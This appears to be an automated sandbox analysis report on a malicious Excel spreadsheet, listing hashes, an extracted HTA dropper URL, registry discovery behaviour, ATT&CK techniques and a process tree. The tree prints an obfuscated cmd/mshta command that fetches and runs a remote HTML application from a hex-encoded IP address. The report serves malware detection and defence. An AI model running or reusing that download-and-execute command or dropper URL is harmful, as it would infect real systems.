e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2

General

Target

e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2.xls
Size

128KB
MD5

28bf917143932c4f39e2580eac6741d6
SHA1

0c45b4386b3203b1003e70ce82feb3a182da3483
SHA256

e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2
SHA512

0b6aea9905cdbd8bedda7118f47b14b79517fe1da2e9bcc5319253ca154f47a0286af9ace721780ca42f3c427461e52d1f797cfd724b2553e9c45e664e6a02c0

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1944	3760	cmd.exe	67

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow	pid	Process
39	1988	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
3760	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	Process
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE
3760	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 3760 wrote to memory of 1944	3760	EXCEL.EXE	69
PID 3760 wrote to memory of 1944	3760	EXCEL.EXE	69
PID 1944 wrote to memory of 1988	1944	cmd.exe	71
PID 1944 wrote to memory of 1988	1944	cmd.exe	71

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:1988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3760-118-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-119-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-120-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-121-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-124-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-131-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

Filesize
64KB

Download
memory/3760-132-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

Filesize
64KB

Download
memory/3760-290-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-291-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-292-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3760-293-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads